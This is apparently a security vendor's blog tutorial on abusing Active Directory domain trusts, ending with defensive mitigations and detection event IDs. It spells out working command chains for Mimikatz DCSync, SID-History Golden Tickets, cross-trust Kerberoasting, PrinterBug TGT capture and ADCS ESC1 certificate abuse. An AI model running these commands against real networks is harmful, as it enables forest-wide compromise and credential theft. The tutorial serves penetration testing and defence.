Domain Trusts: An Exploitation Playbook

Active Directory domain trusts are one of the most underestimated attack surfaces in enterprise environments. When configured poorly or left unreviewed, they become silent highways for attackers to cross organizational boundaries, escalate privileges, and achieve complete forest compromise. This playbook breaks down exactly how domain trust abuse works, the commands attackers run, and what defenders must watch for.

If your organization relies on multi-domain or multi-forest Active Directory architectures, this is required reading. And if you want an expert team to test these exact attack paths in your environment, Redfox Cybersecurity's penetration testing services are built precisely for this.

What Are Domain Trusts and Why Do They Matter

A domain trust is a relationship between two domains that allows users in one domain to access resources in another. In large enterprises, these trusts form complex webs connecting subsidiaries, acquisitions, and partner organizations. From a security standpoint, every trust relationship is a potential attack path.

There are several trust types that matter most during an assessment:

Parent-Child Trusts are created automatically when a new child domain is added to a forest. They are bidirectional and transitive by default.

External Trusts connect domains in separate forests. They are non-transitive and can be one-way or two-way.

Forest Trusts link entire forests and are transitive within each forest, making them the most dangerous category from an attacker's perspective.

Shortcut Trusts are manually created to optimize authentication paths between domains in the same forest.

The transitivity and directionality of a trust determine the blast radius if it is abused. A bidirectional forest trust between two organizations means that compromising one forest can directly lead to compromising the other.

Enumeration: Mapping the Trust Landscape

Before exploitation, an attacker must fully enumerate the trust topology. The following commands are commonly used during the reconnaissance phase.

Using PowerView for Trust Enumeration

PowerView remains one of the most effective tools for AD enumeration. Load it into your session and run:

Import-Module .\PowerView.ps1

# Enumerate all domain trusts in the current domain
Get-DomainTrust

# Enumerate trusts for a specific domain
Get-DomainTrust -Domain corp.target.local

# Map all trusts across the forest
Get-ForestTrust

# Get all domains in the current forest
Get-ForestDomain


Using Built-in Windows Commands

Without any tooling, these native commands reveal trust relationships:

nltest /domain_trusts
nltest /trusted_dclist:<domain>
netdom query trust


Using BloodHound for Visual Trust Mapping

BloodHound ingests AD data and visualizes trust paths. Run SharpHound to collect data:

.\SharpHound.exe -c All --domain corp.target.local --zipfilename output.zip


Import the ZIP into BloodHound and use the following Cypher query to identify cross-domain attack paths:

MATCH p=(n:Domain)-[:TrustedBy*1..]->(m:Domain) RETURN p


This gives you a full graph of which domains trust which, enabling you to identify the shortest path to your target.

Need your trust configurations formally assessed before an attacker finds them first? Talk to the Redfox Cybersecurity team.

SID History Injection: The Classic Trust Abuse

SID History was designed to preserve user access during domain migrations. Attackers abuse it to inject privileged SIDs into a user's token, granting access across trust boundaries.

How It Works

When a user from Domain A authenticates to Domain B, their token includes their SIDs from Domain A. If SID filtering is not enforced on the trust, Domain B's DCs will honor any SIDs in that token, including injected ones.

The Attack Chain

First, obtain a krbtgt hash from the child domain. With domain admin on a child domain:

# Dump the krbtgt hash using Mimikatz
lsadump::dcsync /user:child\krbtgt /domain:child.corp.local


Now craft a Golden Ticket with the Enterprise Admins SID from the parent domain injected into SID History:

# Get the SID of the parent domain's Enterprise Admins group
Get-DomainGroup "Enterprise Admins" -Domain corp.local | Select-Object objectsid

# Craft the Golden Ticket with SID History (Mimikatz)
kerberos::golden /user:Administrator /domain:child.corp.local /sid:<CHILD_DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /sids:<ENTERPRISE_ADMINS_SID> /ptt


With this ticket injected into memory, you now have Enterprise Admin privileges in the parent domain without ever touching it directly.

# Verify access
dir \\dc.corp.local\c$


This is a complete forest compromise via a single trust relationship. This exact technique is used in red team engagements conducted by Redfox Cybersecurity to demonstrate real-world risk to clients before adversaries do.

Kerberoasting Across Trusts

Kerberoasting is not limited to the current domain. If a trust allows TGT delegation or if service accounts exist in trusted domains, they can be targeted from a foothold in the trusting domain.

# Enumerate SPNs in a trusted domain
Get-DomainUser -SPN -Domain trusted.corp.local

# Request a service ticket for a cross-domain SPN
Get-DomainSPNTicket -Domain trusted.corp.local -OutputFormat Hashcat


Crack the resulting hash offline:

hashcat -a 0 -m 13100 spn_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule


If the cracked account has elevated privileges in the trusted domain, lateral movement across the trust boundary becomes trivial.

Unconstrained Delegation and Trust Abuse

Unconstrained delegation is a legacy AD feature that causes DCs or servers to store TGTs for any user that authenticates to them. When combined with trust relationships, this becomes critical.

Finding Unconstrained Delegation Hosts

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained -Domain corp.local | Select-Object dnshostname, useraccountcontrol

# Find users with unconstrained delegation (rare but dangerous)
Get-DomainUser -AllowDelegation -AdminCount


Abusing Unconstrained Delegation with PrinterBug

The PrinterBug (MS-RPRN abuse) forces a remote machine to authenticate back to your controlled host. If you control a machine with unconstrained delegation, you can capture the DC's TGT:

# On the attacking machine with unconstrained delegation, monitor for incoming TGTs
.\Rubeus.exe monitor /interval:5 /filteruser:ParentDC$

# On another session, trigger the PrinterBug against the parent domain DC
.\SpoolSample.exe \\parentdc.corp.local \\compromisedhost.child.corp.local


Once the parent DC's TGT lands on your machine, use it for a DCSync attack:

.\Rubeus.exe ptt /ticket:<base64_TGT>
lsadump::dcsync /domain:corp.local /user:corp\Administrator


Cross-Forest Attack Techniques

Forest trusts present unique challenges because SID filtering is enforced by default. However, several techniques still work.

Foreign Group Membership Enumeration

Users from a trusted forest can be members of groups in the trusting forest. These relationships are often overlooked during access reviews:

# Find users from a foreign domain who are members of local groups
Get-DomainForeignGroupMember -Domain corp.local

# Find local group memberships for foreign domain users
Get-DomainForeignUser -Domain corp.local


ADCS Abuse Across Trusts

Active Directory Certificate Services (ADCS) misconfigurations can be exploited across forest trusts. If a Certificate Authority is accessible from a trusting domain, ESC1 through ESC8 vulnerabilities may still apply.

# Run Certify from a foothold in the trusting domain
.\Certify.exe find /vulnerable /domain:corp.local

# If ESC1 exists, request a certificate as a high-privileged user
.\Certify.exe request /ca:corp.local\corp-CA /template:VulnerableTemplate /altname:Administrator


Convert the certificate and use it with Rubeus for a full PKINIT authentication:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local /certificate:cert.pfx /password:pass /ptt


If you want to understand whether your certificate infrastructure is exploitable across trust boundaries, Redfox Cybersecurity offers dedicated ADCS and AD security assessments.

Defensive Mitigations and Detection Opportunities

Understanding the attacker's playbook is only half the equation. Here is what security teams must implement.

Enable SID Filtering on All External and Forest Trusts

SID filtering should be enabled on every trust that crosses an organizational boundary. Verify it with:

netdom trust child.corp.local /domain:corp.local /quarantine


For forest trusts:

netdom trust corp.local /domain:partner.local /enablesidhistory:no


Audit and Restrict Unconstrained Delegation

No modern workload should require unconstrained delegation. Audit and migrate to constrained or resource-based constrained delegation:

# Find all unconstrained delegation accounts
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation


Monitor for Suspicious Kerberos Ticket Activity

Key Event IDs to monitor:

• 4769 -- Kerberos Service Ticket Request (watch for RC4 encryption type 0x17 on sensitive accounts)
• 4768 -- Kerberos TGT Request (cross-domain TGT requests from unexpected sources)
• 4672 -- Special Privileges Assigned (monitor for unexpected Enterprise Admin logons)
• 4765 / 4766 -- SID History added to an account

Regularly Review Trust Relationships

Organizations accumulate trusts over time, especially after mergers and acquisitions. Trusts connecting legacy systems or decommissioned subsidiaries should be removed:

# Review all trusts and their properties
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, TrustAttributes


The Path Forward: Proactive Trust Auditing

Domain trust exploitation is not theoretical. It is a well-documented, frequently used technique in real adversary campaigns and red team engagements. The techniques in this playbook, from SID History injection to cross-forest ADCS abuse, have been used to compromise enterprise environments that believed their multi-domain architecture was secure.

The organizations that avoid catastrophic breaches are the ones that test their assumptions before attackers do. A structured penetration test targeting your Active Directory trust topology will reveal exactly which paths exist, which controls are missing, and what an attacker with a single low-privilege foothold could accomplish.

Redfox Cybersecurity specializes in Active Directory penetration testing, red team operations, and adversary simulation. Their engagements are built around real attack techniques, not checkbox compliance. If your environment has complex trust relationships, cross-forest configurations, or legacy AD architecture, now is the time to validate your defenses.

Wrapping Up

Domain trusts are essential infrastructure for large organizations, but they carry significant security implications that are routinely overlooked. From SID History abuse to unconstrained delegation exploitation and cross-forest ADCS attacks, the attack surface is wide and the techniques are well-understood by sophisticated threat actors.

The commands and techniques in this playbook reflect what a skilled attacker will run the moment they gain a foothold in your environment. The question is whether your team discovers these gaps first or whether an adversary does.

Start with enumeration. Map every trust. Test every delegation setting. And if you need experienced hands to run this assessment end to end, Redfox Cybersecurity's penetration testing services deliver the adversarial validation your AD environment needs.

‍